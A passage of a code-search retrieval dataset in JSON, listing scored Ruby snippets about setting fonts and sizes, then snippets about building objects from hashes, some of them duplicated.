family;\n\t\t\t\t\t\tfontkey = family;\n\t\t\t\t\tend\n\t\t\t\t\trequire(getfontpath(file + '.rb'));\n \t\tfont_desc = TCPDFFontDescriptor.font(file)\n\t\t\t\t\tif ((@is_unicode and ctg.nil?) or ((!@is_unicode) and (@@fpdf_charwidths[fontkey].nil?)) )\n\t\t\t\t\t\tError(\"Could not include font metric file [\" + fontkey + \"]: \" + getfontpath(file + \".rb\"));\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\ti = @fonts.length + 1;\n\n\t\t\t\tif (@is_unicode)\n\t\t\t\t\t@fonts[fontkey] = {'i' => i, 'type' => font_desc[:type], 'name' => font_desc[:name], 'desc' => font_desc[:desc], 'up' => font_desc[:up], 'ut' => font_desc[:ut], 'cw' => font_desc[:cw], 'enc' => font_desc[:enc], 'file' => font_desc[:file], 'ctg' => font_desc[:ctg]}\n\t\t\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\t\t\telse\n\t\t\t\t\t@fonts[fontkey] = {'i' => i, 'type'=>'core', 'name'=>@core_fonts[fontkey], 'up'=>-100, 'ut'=>50, 'cw' => font_desc[:cw]}\n\t\t\t\t\t@@fpdf_charwidths[fontkey] = font_desc[:cw];\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tError('Undefined font: ' + family + ' ' + style);\n\t\t\tend\n\t\tend\n\t\t#Select it\n\t\t@font_family = family;\n\t\t@font_style = style;\n\t\t@font_size_pt = size;\n\t\t@font_size = size / @k;\n\t\t@current_font = @fonts[fontkey]; # was & may need deep copy?\n\t\tif (@page>0)\n\t\t\tout(sprintf('BT /F%d %.2f Tf ET', @current_font['i'], @font_size_pt));\n\t\tend\n\tend",
"title": ""
},
{
"docid": "a0a1434bac63a195a142efe9805447cc",
"score": "0.5781595",
"text": "def font=(value)\n @font = value\n end",
"title": ""
},
{
"docid": "b5dd8b920cf6c321a4b8209276a5d322",
"score": "0.5701485",
"text": "def set_font(font_name)\n itr = @form.getFields.keySet.iterator\n while itr.hasNext\n field = itr.next\n @form.setFieldProperty(field, 'textfont', create_font(font_name), nil)\n end\n end",
"title": ""
},
{
"docid": "b5dd8b920cf6c321a4b8209276a5d322",
"score": "0.5701485",
"text": "def set_font(font_name)\n itr = @form.getFields.keySet.iterator\n while itr.hasNext\n field = itr.next\n @form.setFieldProperty(field, 'textfont', create_font(font_name), nil)\n end\n end",
"title": ""
},
{
"docid": "53eb9362f1034734fa04571b0a12b434",
"score": "0.567821",
"text": "def font_size\n return sz if sz\n\n font = styles.fonts[styles.cellXfs[style].fontId] || styles.fonts[0]\n font.b || (defined?(@b) && @b) ? (font.sz * 1.5) : font.sz\n end",
"title": ""
},
{
"docid": "51e7f27bba4df07c7148dd26a3cfbc7f",
"score": "0.5636939",
"text": "def font(name=\"Helvetica\", size=nil)\n fontsize(size) if size\n @fname = name\n fontsize unless @fsize\n CGContextSelectFont(@ctx, @fname, @fsize, KCGEncodingMacRoman)\n end",
"title": ""
},
{
"docid": "2f54e6bff295cb3b445016420b2ff338",
"score": "0.56325364",
"text": "def maiil_reset_font\n fn = MA_IconItemList::NUM_FONTNAME ? MA_IconItemList::NUM_FONTNAME : Font.default_name\n contents.font = Font.new(fn, MA_IconItemList::NUM_FONTSIZE) # name and size\n contents.font.bold = MA_IconItemList::NUM_BOLD # Set Bold\n contents.font.italic = MA_IconItemList::NUM_ITALIC # Set Italic\n contents.font.shadow = MA_IconItemList::NUM_SHADOW # Set Shadow\n contents.font.outline = MA_IconItemList::NUM_OUTLINE # Set outline\n oc = MA_IconItemList::NUM_OUT_COLOUR ? MA_IconItemList::NUM_OUT_COLOUR : Font.default_out_color\n contents.font.out_color = text_color(oc) # outline color\n end",
"title": ""
},
{
"docid": "d78308b33f07ceda65b450172060a22e",
"score": "0.5603856",
"text": "def adjusts_font_size_to_fit_width ; view.adjustsFontSizeToFitWidth ; end",
"title": ""
},
{
"docid": "a28fc8905294b8a3bc533973b452f11f",
"score": "0.5598291",
"text": "def update_font\n self.contents.font.name = @window.fontName\n #self.recalculate_maxlength\n self.refresh\n end",
"title": ""
},
{
"docid": "2107541c32d3cee1e462f528a1a95486",
"score": "0.5598136",
"text": "def document_properties\n {\n font_size: font_size\n }\n end",
"title": ""
},
{
"docid": "2107541c32d3cee1e462f528a1a95486",
"score": "0.5598136",
"text": "def document_properties\n {\n font_size: font_size\n }\n end",
"title": ""
},
{
"docid": "e593d8a443a69320844bf889e74bb7fb",
"score": "0.55863404",
"text": "def set_fonts\n font_families.update Elegant.configuration.fonts\n fallback_fonts ['Fallback']\n end",
"title": ""
},
{
"docid": "df484781ecdc57d880fb0cd2f5df0285",
"score": "0.5575387",
"text": "def reset_font_settings; set_data_font(:scene_label); end",
"title": ""
},
{
"docid": "9c25dfcf1927e164a2a2af8339239b30",
"score": "0.5553956",
"text": "def set_data_font(data_type)\n @maqj_default_font = contents.font.dup unless @maqj_default_font\n contents.font.name = QuestData::FONTNAMES[data_type] ? \n QuestData::FONTNAMES[data_type] : @maqj_default_font.name\n contents.font.size = QuestData::FONTSIZES[data_type] ? \n QuestData::FONTSIZES[data_type] : @maqj_default_font.size\n contents.font.bold = QuestData::FONTBOLDS.keys.include?(data_type) ? \n QuestData::FONTBOLDS[data_type] : @maqj_default_font.bold\n contents.font.italic = QuestData::FONTITALICS.keys.include?(data_type) ?\n QuestData::FONTITALICS[data_type] : @maqj_default_font.italic\n case data_type\n when :objectives then change_color(@maqj_objective_color) if @maqj_objective_color\n when :name then change_color(quest_name_colour(@quest)) if @quest\n else\n change_color(text_color(QuestData::COLOURS[data_type])) if QuestData::COLOURS.keys.include?(data_type)\n end\n end",
"title": ""
},
{
"docid": "963656d8202ea0f5e6f2406f24924cb6",
"score": "0.5553762",
"text": "def pbSetSystemFont(bitmap)\n fontname=MessageConfig.pbGetSystemFontName\n bitmap.font.name=fontname\n if fontname==\"Pokemon FireLeaf With BLD\" || fontname==\"Power Red and Green With BLD\"\n bitmap.font.size=29\n elsif fontname==\"Pokemon Emerald Small With BLD\" || fontname==\"Power Green Small With BLD\"\n bitmap.font.size=25\n else\n bitmap.font.size=31\n end\nend",
"title": ""
},
{
"docid": "d9682e3b432d1ec097bd025878c582d7",
"score": "0.5531855",
"text": "def process_text_options(options)\n if options[:style]\n raise 'Bad font family' unless font.family\n font(font.family, style: options[:style])\n end\n\n # must compare against false to keep kerning on as default\n unless options[:kerning] == false\n options[:kerning] = font.has_kerning_data?\n end\n\n options[:size] ||= font_size\n end",
"title": ""
},
{
"docid": "8dd99e173f989711b64174a35b1a538b",
"score": "0.55135816",
"text": "def load_fonts\n @@fonts[\"game\"] = Gosu::Font.new(80)\n @@fonts[\"menu\"] = Gosu::Font.new(40)\n @@fonts[\"notification\"] = Gosu::Font.new(25)\n @@fonts[\"big\"] = Gosu::Font.new(20)\n @@fonts[\"small\"] = Gosu::Font.new(14)\n @@fonts[\"button\"] = Gosu::Font.new(15)\n end",
"title": ""
},
{
"docid": "21abe341d18a73105fb914634fc11b45",
"score": "0.550575",
"text": "def set_defaults\n self.width ||= 0.20\n self.height ||= 0.20\n end",
"title": ""
},
{
"docid": "3480422ca8479ca4280dc5f4c9827fed",
"score": "0.55030143",
"text": "def font_sizes\n @font_sizes ||= begin\n sizes = []\n doc.css(\"[style]\").each do |element|\n sizes.push element.font_size.round(-1) unless element.font_size.nil?\n end\n sizes.uniq.sort\n end\n end",
"title": ""
},
{
"docid": "fa4485b358de67a43aef23e6c25d404a",
"score": "0.5500361",
"text": "def font_size()\n validate_worksheet\n return @workbook.fonts[font_id()][:font][:sz][:attributes][:val]\n end",
"title": ""
},
{
"docid": "6bfc24180f8c60e66d4c1dd10e30cb0e",
"score": "0.5497414",
"text": "def set_size(w,h)\n @width = w\n @height = h\n end",
"title": ""
},
{
"docid": "6a7f24cc766ede795adf567de15ac151",
"score": "0.54800975",
"text": "def change_font_name(fontname)\n @font_name = fontname\n @text_entry.update_font\n self.redraw\n end",
"title": ""
},
{
"docid": "8c4d8ef33861e62e70e89cb361b5ede8",
"score": "0.54480904",
"text": "def font_size\n return sz if sz\n\n font = styles.fonts[styles.cellXfs[style].fontId] || styles.fonts[0]\n font.b || (defined?(@b) && @b) ? (font.sz * row.worksheet.workbook.bold_font_multiplier) : font.sz\n end",
"title": ""
},
{
"docid": "6e8b5156721c132fdaa6ac65aa21f6a8",
"score": "0.5446676",
"text": "def change_column_font_size(col=0, font_size=10)\n # Get style object\n xf_id = xf_id(get_col_style(col))\n # Get copy of font object with modified size\n font = deep_copy(@workbook.fonts[xf_id[:fontId].to_s][:font])\n font[:sz][:attributes][:val] = font_size\n # Update font and xf array\n change_column_font(col, Worksheet::SIZE, font_size, font, xf_id)\n end",
"title": ""
},
{
"docid": "fd7eb7af7e006a12ab06bb82bfeb629c",
"score": "0.54298043",
"text": "def font_height(size = nil)\n size = @font_size if size.nil? or size <= 0\n\n select_font(\"Helvetica\") if @fonts.empty?\n hh = @fonts[@current_font].fontbbox[3].to_f - @fonts[@current_font].fontbbox[1].to_f\n (size * hh / 1000.0)\n end",
"title": ""
},
{
"docid": "e24ec247feb72e14738687b1c31ea50d",
"score": "0.5420972",
"text": "def setSize(width, height)\n setWidth(width)\n setHeight(height)\n end",
"title": ""
},
{
"docid": "6a701904a9893264eb39084d2fc5f49b",
"score": "0.5419193",
"text": "def pbSetNarrowFont(bitmap)\n bitmap.font.name=pbNarrowFontName\n bitmap.font.size=31\nend",
"title": ""
},
{
"docid": "48f3c304c6268eb30a3c2f7c84689506",
"score": "0.54115283",
"text": "def title_size=(v)\n @title.text_size = v unless v.to_s.empty?\n end",
"title": ""
},
{
"docid": "b90f4abe68ce430609466e7cab662b03",
"score": "0.5396166",
"text": "def init_font_families\n # Set the known family groups. These font families will be used to\n # enable bold and italic markers to be included within text\n # streams. HTML forms will be used... <b></b> <i></i>\n @font_families[\"Helvetica\"] =\n {\n \"b\" => 'Helvetica-Bold',\n \"i\" => 'Helvetica-Oblique',\n \"bi\" => 'Helvetica-BoldOblique',\n \"ib\" => 'Helvetica-BoldOblique'\n }\n @font_families['Courier'] =\n {\n \"b\" => 'Courier-Bold',\n \"i\" => 'Courier-Oblique',\n \"bi\" => 'Courier-BoldOblique',\n \"ib\" => 'Courier-BoldOblique'\n }\n @font_families['Times-Roman'] =\n {\n \"b\" => 'Times-Bold',\n \"i\" => 'Times-Italic',\n \"bi\" => 'Times-BoldItalic',\n \"ib\" => 'Times-BoldItalic'\n }\n end",
"title": ""
},
{
"docid": "8190b9845329126f935146af446c8b57",
"score": "0.5375652",
"text": "def setPageSize(size)\n unless /(?i)^(A0|A1|A2|A3|A4|A5|A6|Letter)$/.match(size)\n raise Error.new(Pdfcrowd.create_invalid_value_message(size, \"setPageSize\", \"html-to-pdf\", \"Allowed values are A0, A1, A2, A3, A4, A5, A6, Letter.\", \"set_page_size\"), 470);\n end\n \n @fields['page_size'] = size\n self\n end",
"title": ""
},
{
"docid": "6922ace571423b5092d7130833794112",
"score": "0.53685474",
"text": "def default_font_name\n (options[:default] and options[:default][:name]) ? options[:default][:name] : Gosu::default_font_name\n end",
"title": ""
},
{
"docid": "c6c7d94b3a66756b3370d8ecfefa3cf2",
"score": "0.53454226",
"text": "def set_Size(value)\n set_input(\"Size\", value)\n end",
"title": ""
},
{
"docid": "bf7a85bf650b83aa570ea7a155620c5f",
"score": "0.53357315",
"text": "def set_size(width = nil, height = nil)\n @window_width = if ptrue?(width)\n # Convert to twips at 96 dpi.\n width.to_i * 1440 / 96\n else\n 16095\n end\n\n @window_height = if ptrue?(height)\n # Convert to twips at 96 dpi.\n height.to_i * 1440 / 96\n else\n 9660\n end\n end",
"title": ""
},
{
"docid": "11f873801df2be98bd29933b809babc0",
"score": "0.5324008",
"text": "def reset_font_settings; set_data_font(:category_label); end",
"title": ""
},
{
"docid": "b0c9e2304bb112ad5739c1891de62d7e",
"score": "0.5298117",
"text": "def setcharheight(*)\n super\n end",
"title": ""
},
{
"docid": "1506fb58d5ccd31bae9ca0accd88b5a5",
"score": "0.52855986",
"text": "def coordinate_labels_font_family\n if self.options[:font_family].blank?\n 'Helvetica Neue'\n else\n self.options[:font_family]\n end\n end",
"title": ""
},
{
"docid": "a3cbabd9059164de34688b4afce34451",
"score": "0.5274461",
"text": "def size= (x)\n change_options({\"size\" => x})\n end",
"title": ""
},
{
"docid": "f0c4e76f8ab546183180106369ed8a8d",
"score": "0.5267461",
"text": "def font=(font)\n @label.font = font\n end",
"title": ""
},
{
"docid": "91a5c34776527aa4b1a2ebb182692183",
"score": "0.5254461",
"text": "def change_font_name(new_font_name = 'Verdana')\n validate_worksheet\n\n font = get_cell_font.dup\n font.set_name(new_font_name)\n update_font_references(font)\n end",
"title": ""
},
{
"docid": "91a5c34776527aa4b1a2ebb182692183",
"score": "0.5254461",
"text": "def change_font_name(new_font_name = 'Verdana')\n validate_worksheet\n\n font = get_cell_font.dup\n font.set_name(new_font_name)\n update_font_references(font)\n end",
"title": ""
},
{
"docid": "65f2d33ab91066f02be25beef44006df",
"score": "0.52518153",
"text": "def default_widths\n @default_widths ||= []\n end",
"title": ""
},
{
"docid": "b247ed03060dfd3c93dc74e538e2253e",
"score": "0.523693",
"text": "def fonts(workbook, _center, heading, _colors)\n worksheet = workbook.add_worksheet('Fonts')\n\n worksheet.set_column(0, 0, 30)\n worksheet.set_column(1, 1, 10)\n\n worksheet.write(0, 0, \"Font name\", heading)\n worksheet.write(0, 1, \"Font size\", heading)\n\n fonts = []\n fonts << [10, 'Arial']\n fonts << [12, 'Arial']\n fonts << [14, 'Arial']\n fonts << [12, 'Arial Black']\n fonts << [12, 'Arial Narrow']\n fonts << [12, 'Century Schoolbook']\n fonts << [12, 'Courier']\n fonts << [12, 'Courier New']\n fonts << [12, 'Garamond']\n fonts << [12, 'Impact']\n fonts << [12, 'Lucida Handwriting']\n fonts << [12, 'Times New Roman']\n fonts << [12, 'Symbol']\n fonts << [12, 'Wingdings']\n fonts << [12, 'A font that doesn\\'t exist']\n\n i = 0\n fonts.each do |font|\n format = workbook.add_format\n\n format.set_size(font[0])\n format.set_font(font[1])\n\n i += 1\n worksheet.write(i, 0, font[1], format)\n worksheet.write(i, 1, font[0], format)\n end\n end",
"title": ""
},
{
"docid": "fd3a151f1e1e429b63581cefc381613d",
"score": "0.52359265",
"text": "def load_font(family, height)\n end",
"title": ""
},
{
"docid": "6410333c86db01abb94eaec65d103d24",
"score": "0.52109474",
"text": "def set_styles\n if self.class_type == 'variant'\n {:thumb => '300x300!'}\n elsif self.class_type == 'banner'\n {:banner => '800x100!'}\n elsif self.class_type == 'logo'\n {:logo => '400x60>'}\n end\n end",
"title": ""
},
{
"docid": "9341c4752c71577139b3048841d8e14f",
"score": "0.5198441",
"text": "def size_default\n start_time = 0\n xdotool \"windowsize #{@id} #{@default.join(\" \")}\"\n while @default != get_geometry(@id)\n abort(\"*** #{File.basename(__FILE__)}: Window #{@id} did not resize - are you running a tiling window manager? Exiting...\") if Time.now - start_time > 2\n end\n end",
"title": ""
},
{
"docid": "886a45f1af2fb17a34775f305c1e9f0c",
"score": "0.51973605",
"text": "def add_size!\n input_html_options[:size] ||= nil\n end",
"title": ""
},
{
"docid": "5399624abac9d683c13f6c6f91e6f5be",
"score": "0.51931",
"text": "def setPageSize(size)\n unless /(?i)^(A0|A1|A2|A3|A4|A5|A6|Letter)$/.match(size)\n raise Error.new(Pdfcrowd.create_invalid_value_message(size, \"setPageSize\", \"image-to-pdf\", \"Allowed values are A0, A1, A2, A3, A4, A5, A6, Letter.\", \"set_page_size\"), 470);\n end\n \n @fields['page_size'] = size\n self\n end",
"title": ""
},
{
"docid": "b97f97bd3dc07348a4e880832fd1f278",
"score": "0.5177405",
"text": "def settings\n size 400, 300\nend",
"title": ""
},
{
"docid": "9bea88195046fa3d8fed571c58fab9af",
"score": "0.51748455",
"text": "def font_weight=(value)\n allow_symbols_as_values(value)\n @style.set_property(StyleTextPropertiesElement::FontWeight, value)\n @style.set_property(StyleTextPropertiesElement::FontWeightAsian, value)\n @style.set_property(StyleTextPropertiesElement::FontWeightComplex, value)\n end",
"title": ""
},
{
"docid": "1a4f1c74d86df7c5a276cd52a9d340c2",
"score": "0.5157468",
"text": "def change_row_font_size(row=0, font_size=10)\n # Get style object\n xf_id = xf_id(get_row_style(row))\n # Get copy of font object with modified size\n font = deep_copy(@workbook.fonts[xf_id[:fontId].to_s][:font])\n font[:sz][:attributes][:val] = font_size\n # Update font and xf array\n change_row_font(row, Worksheet::SIZE, font_size, font, xf_id)\n end",
"title": ""
},
{
"docid": "d437ee7de9567bc03fa9f3612fdc706a",
"score": "0.51520234",
"text": "def pointsize(points)\n primitive 'font-size ' + sprintf('%g', points)\n end",
"title": ""
},
{
"docid": "6890b40088e02a26314a175bd198e5f4",
"score": "0.51486814",
"text": "def set_paper(paper_size = 0)\n @paper_size = paper_size\n end",
"title": ""
},
{
"docid": "62ac0836a6047f8d4bf44dc284b37850",
"score": "0.5132075",
"text": "def size=(*values)\n values = values[0] if values.size == 1 && values[0].is_a?(Array)\n @peer.set_size_styles(values[0], values[1])\n end",
"title": ""
},
{
"docid": "79988ce515d77f1653b3897996cc2ff3",
"score": "0.51267654",
"text": "def set_size(w=nil, h=nil)\n @window_width = w if w.is_a?(Numeric) && w > 0 # TODO: > min_width\n @window_height = h if h.is_a?(Numeric) && h > 0 # TODO: > min_height\n super(@window_width, @window_height)\nend",
"title": ""
},
{
"docid": "3ca1d25a794b03c5a8b48cfa28f894f9",
"score": "0.51247597",
"text": "def small_font\n [-2, 0, 0, 0, 0, 255]\n end",
"title": ""
},
{
"docid": "0941c5a3417b74403c8ebdf10081a701",
"score": "0.51119477",
"text": "def update!(**args)\n @dimensions = args[:dimensions] if args.key?(:dimensions)\n @font_scale_factor = args[:font_scale_factor] if args.key?(:font_scale_factor)\n end",
"title": ""
},
{
"docid": "a790cf859bb2e8a4823e5d56444f592a",
"score": "0.51110286",
"text": "def set_style\r\n @style = Style.new\r\n\r\n alignment_node = @node.xpath('.//w:jc').first\r\n alignment = alignment_node ? alignment_node.attributes['val'].value : nil\r\n @style.instance_variable_set('@text_align', alignment.to_sym) if alignment\r\n\r\n size_node = @node.xpath('w:pPr//w:sz').first\r\n font_size = size_node ? size_node.attributes['val'].value.to_i / 2 : nil\r\n @style.instance_variable_set('@font_size', font_size)\r\n\r\n bold_node = @node.xpath('w:pPr//w:b').first\r\n @style.instance_variable_set('@font_weight', 'bold') if bold_node\r\n\r\n italic_node = @node.xpath('w:pPr//w:i').first\r\n @style.instance_variable_set('@font_style', 'italic') if italic_node\r\n\r\n underline_node = @node.xpath('w:pPr//w:u').first\r\n @style.instance_variable_set('@text_underline_style', 'solid') if underline_node\r\n end",
"title": ""
}
] |
86443cfc40b577098bf98a59d7920017
|
Create a new object based on a hash. This is used to create a new object based on the server response.
|
[
{
"docid": "87a3a6dd0902f34b4883e5ead22079c3",
"score": "0.0",
"text": "def factory(attrs)\n # Example:\n # => {\"name\"=>\"iOS Distribution: SunApps GmbH\",\n # \"certificateId\"=>\"XC5PH8DAAA\",\n # \"serialNumber\"=>\"797E732CCE8B7AAA\",\n # \"status\"=>\"Issued\",\n # \"statusCode\"=>0,\n # \"expirationDate\"=>#<DateTime: 2015-11-25T22:45:50+00:00 ((2457352j,81950s,0n),+0s,2299161j)>,\n # \"certificatePlatform\"=>\"ios\",\n # \"certificateType\"=>\n # {\"certificateTypeDisplayId\"=>\"R58UK2EAAA\",\n # \"name\"=>\"iOS Distribution\",\n # \"platform\"=>\"ios\",\n # \"permissionType\"=>\"distribution\",\n # \"distributionType\"=>\"store\",\n # \"distributionMethod\"=>\"app\",\n # \"ownerType\"=>\"team\",\n # \"daysOverlap\"=>364,\n # \"maxActive\"=>2}}\n\n if attrs['certificateType']\n # On some accounts this is nested, so we need to flatten it\n attrs.merge!(attrs['certificateType'])\n attrs.delete('certificateType')\n end\n\n # Parse the dates\n # rubocop:disable Style/RescueModifier\n attrs['expirationDate'] = (Time.parse(attrs['expirationDate']) rescue attrs['expirationDate'])\n attrs['dateCreated'] = (Time.parse(attrs['dateCreated']) rescue attrs['dateCreated'])\n # rubocop:enable Style/RescueModifier\n\n # Here we go\n klass = CERTIFICATE_TYPE_IDS[attrs['certificateTypeDisplayId']]\n klass ||= Certificate\n klass.client = @client\n klass.new(attrs)\n end",
"title": ""
}
] |
[
{
"docid": "9d2fbaf59b434ce9a278dceeca93a9e0",
"score": "0.79310834",
"text": "def create(hash); end",
"title": ""
},
{
"docid": "7d63a7b603a6caf8cad1ba1f7cb16b84",
"score": "0.73230535",
"text": "def create_with(hash)\n obj = nil\n arity = self.method(:initialize).arity\n\n if arity > 0 || arity < -1\n obj = self.allocate\n else\n obj = self.new\n end\n\n obj.instance_assign(hash)\n\n ogmanager.with_store do |s|\n s.save(obj)\n end\n\n return obj\n end",
"title": ""
},
{
"docid": "39d42b8eb578c27509760948e8c20ee8",
"score": "0.7318107",
"text": "def from_hash(hash)\n new(hash[:body], hash[:headers], hash[:status])\n end",
"title": ""
},
{
"docid": "9feff5592775840e8bbab168845026b2",
"score": "0.72190046",
"text": "def from_hash( hash )\n new.set( hash )\n end",
"title": ""
},
{
"docid": "6c641c148fb049518c716e2a6b970af6",
"score": "0.7183573",
"text": "def generate(hash)\n identifier = hash.delete('type')\n\n klass = retrieve(identifier)\n\n klass.new_from_hash(hash)\n end",
"title": ""
},
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.71282107",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.71282107",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "e2e77e3d4692b97a7841734d5d35a0ec",
"score": "0.71282107",
"text": "def from_hash(hash); end",
"title": ""
},
{
"docid": "ae8dd6ff79c5f35246a045e773ddde16",
"score": "0.7111682",
"text": "def from_hash(hash)\n end",
"title": ""
},
{
"docid": "ae8dd6ff79c5f35246a045e773ddde16",
"score": "0.7111682",
"text": "def from_hash(hash)\n end",
"title": ""
},
{
"docid": "e4ce931a3b8315efe360ec5d704c490e",
"score": "0.70478773",
"text": "def create_from_hash hash\n values = values_from_hash hash\n # $stderr.puts \" ContentModel#create_from_hash #{self} #{hash.inspect} => #{values.inspect}\"\n ModelCache.cache_for self, :create_from_hash, values do\n self.transaction do\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{self} #{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end\n end\n end",
"title": ""
},
{
"docid": "e0ed47a61d4ace2591784a7bc74b393e",
"score": "0.7025099",
"text": "def create(hash={})\n begin\n object = self.new(hash)\n object.remote_save\n \n if object\n yield object if block_given?\n return object unless block_given?\n else; return nil; end\n rescue => error\n raise ARError, \"Can't create a #{self} object, \" \\\n \"an unespected error has been raised: \\n \" \\\n \"#{error.backtrace}\"\n end\n end",
"title": ""
},
{
"docid": "6b4ba5ffe88965616d51115d3d46696d",
"score": "0.69766027",
"text": "def from_hash(hash)\n new.from_hash(hash)\n end",
"title": ""
},
{
"docid": "ad6deec4ebb7a6f502f86df0dbda4ea8",
"score": "0.689637",
"text": "def new_object= hash\n @@new_object.deep_merge! hash.deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "0edfe66783298694bddba724d0feea94",
"score": "0.684358",
"text": "def generate(hash)\n config = hash.dup\n identifier = config.delete('type')\n\n klass = retrieve(identifier)\n\n klass.new_from_hash(hash)\n end",
"title": ""
},
{
"docid": "560339a913823723320e8796aae1837f",
"score": "0.68366694",
"text": "def create_by_kit_and_hash(kit, hash)\n record = new(\n hash: hash,\n source: kit.source,\n hostname: kit.hostname,\n url: kit.decoded_url,\n headers: kit.headers,\n filename: kit.filename,\n filesize: kit.filesize,\n mime_type: kit.mime_type,\n downloaded_as: kit.filepath_to_download\n )\n record.save\n record\n rescue TypeError, ActiveRecord::RecordNotUnique => _e\n nil\n end",
"title": ""
},
{
"docid": "a32863c04dc64e78f08e6618cecacae4",
"score": "0.68158495",
"text": "def create!( hash )\n doc = new( hash )\n doc.save!\n end",
"title": ""
},
{
"docid": "a32863c04dc64e78f08e6618cecacae4",
"score": "0.68158495",
"text": "def create!( hash )\n doc = new( hash )\n doc.save!\n end",
"title": ""
},
{
"docid": "f16305cb41449007dec4702dca443deb",
"score": "0.67999566",
"text": "def instantiate_object(result)\n hash = JSON.parse(result)\n self.new(hash)\n end",
"title": ""
},
{
"docid": "2fabc78718e9cb88209fd03cb9a69ba5",
"score": "0.67738736",
"text": "def initialize(hash) @hash = hash end",
"title": ""
},
{
"docid": "3e904e5a5dcad69257c523d5fa6cd8ce",
"score": "0.67734456",
"text": "def new_hash\n HASH_CLASS.new\nend",
"title": ""
},
{
"docid": "fdb7253d7f93d17f96636af3af8f6b42",
"score": "0.6751513",
"text": "def instantiate(data)\n create_from_hash(data)\n end",
"title": ""
},
{
"docid": "fdb7253d7f93d17f96636af3af8f6b42",
"score": "0.6751513",
"text": "def instantiate(data)\n create_from_hash(data)\n end",
"title": ""
},
{
"docid": "46d5b6ba7cff19ac28d03ad78ea0c8c6",
"score": "0.6713967",
"text": "def create(attributes_hash)\n object = klass.create(attributes_hash)\n self.push object\n end",
"title": ""
},
{
"docid": "f50a85a407c7bc195ff4b4488c3481c7",
"score": "0.66757435",
"text": "def create hash, *option\n raise NotImplementedError, 'this should be overridden by concrete client'\n end",
"title": ""
},
{
"docid": "766fade15114d0d4e6ad7aa9b74a67ae",
"score": "0.66694087",
"text": "def create(values_hash)\n object = self.new(values_hash)\n object.save\n object\n end",
"title": ""
},
{
"docid": "2d73d781add5a13c65442a8f42447c40",
"score": "0.6652131",
"text": "def new(hash)\n check_id(hash)\n proxy = @klass.new(hash[:rod_id],@type,@client,@collection_proxy_factory)\n @metadata.fields.each do |field|\n check_field(hash,field)\n proxy.instance_variable_set(\"@#{field.symbolic_name}\",hash[field.symbolic_name])\n end\n @metadata.singular_associations.each do |association|\n check_association(hash,association)\n proxy.instance_variable_set(association_variable_name(association),hash[association.symbolic_name])\n end\n @metadata.plural_associations.each do |association|\n check_association(hash,association)\n proxy.instance_variable_set(count_variable_name(association),hash[association.symbolic_name][:count])\n end\n proxy\n end",
"title": ""
},
{
"docid": "06d14dc5c2952acaad8d07a3d4a8d1ab",
"score": "0.66241235",
"text": "def from_hash(hash)\n @headers = hash[:headers] || {}\n @path = hash[:path] || '/'\n @query = hash[:query] || ''\n @leftovers = hash[:body]\n\n set_version\n @state = :finished\n end",
"title": ""
},
{
"docid": "87a91a286628d9c02ab76466f53af430",
"score": "0.6614073",
"text": "def instantiate_from_hash(hash)\n model = new(hash.reject {|k, _| 'model_name' == k})\n model.id = hash['_id']\n model.new_record = false\n if hash['_attachments']\n attachment_names = hash['_attachments'].map {|name, _| name}\n model.attachments = attachment_names.inject({}) {|acc, name| acc[name] = {:content_type => hash['_attachments'][name]['content_type']}; acc}\n end\n model\n end",
"title": ""
},
{
"docid": "1d42c0c9d6525fd8f35dbb6bf91da6e1",
"score": "0.6612317",
"text": "def initialize(hash)\n @hash = hash\n end",
"title": ""
},
{
"docid": "1d42c0c9d6525fd8f35dbb6bf91da6e1",
"score": "0.6612317",
"text": "def initialize(hash)\n @hash = hash\n end",
"title": ""
},
{
"docid": "75b736a0d0e791eb8c39ea530b4564fd",
"score": "0.6595289",
"text": "def from_h hash\n from_json(JSON.generate(hash))\n end",
"title": ""
},
{
"docid": "75b736a0d0e791eb8c39ea530b4564fd",
"score": "0.6595289",
"text": "def from_h hash\n from_json(JSON.generate(hash))\n end",
"title": ""
},
{
"docid": "b548d2a3287cd5b22ee765da94f1468f",
"score": "0.65843254",
"text": "def initialize(hash)\n @ostruct = hash.to_ostruct\n end",
"title": ""
},
{
"docid": "d97c10ac3bead5865b584e1657128340",
"score": "0.6574195",
"text": "def from_hash(data); end",
"title": ""
},
{
"docid": "4f2153529a0aa0b2fabe1bde3fdc5418",
"score": "0.6565929",
"text": "def from_hash(hash)\n super\n @creator = hash['creator'] if hash.has_key? 'creator'\n @name = hash['name'] if hash.has_key? 'name'\n @version = hash['version'] if hash.has_key? 'version'\n @extension_id = hash['extensionId'] if hash.has_key? 'extensionId'\n end",
"title": ""
},
{
"docid": "a3da6659112ca8b0bff06444e6dea6f3",
"score": "0.6530106",
"text": "def initialize(hash)\n\t\t\tset_from_hash(hash)\n\t\tend",
"title": ""
},
{
"docid": "e394587488d0c58b75f3652a6d4bd169",
"score": "0.6505977",
"text": "def create_object(razor_api,slice,json_hash)\n uri = URI \"http://#{razor_api}/razor/api/#{slice}\"\n json_string = JSON.generate(json_hash)\n res = Net::HTTP.post_form(uri, 'json_hash' => json_string)\n response_hash = JSON.parse(res.body)\n unless res.class == Net::HTTPCreated\n ui.fatal \"Error creating new #{ui.color(slice,:red)}\"\n exit 1\n end\n uuid = response_hash[\"response\"].first[\"@uuid\"]\n return uuid\n end",
"title": ""
},
{
"docid": "36d3df4818e3cb26ce3bf3bf3ce12847",
"score": "0.64957565",
"text": "def from_hash(hash)\n hash.each_pair do |key, value|\n\n # We need to catch hashes representing child objects\n # If the hash key:value is a of a Hash/BSON:Ordered hash\n if hash[key].class == Hash || hash[key].class == BSON::OrderedHash\n # If we have a classname we know we need to return to an object\n if hash[key][\"@classname\"]\n self.instance_variable_set(key, ::Object::full_const_get(hash[key][\"@classname\"]).new(hash[key])) unless key.to_s.start_with?(\"_\")\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n else\n self.instance_variable_set(key, value) unless key.to_s.start_with?(\"_\")\n end\n end\n end",
"title": ""
},
{
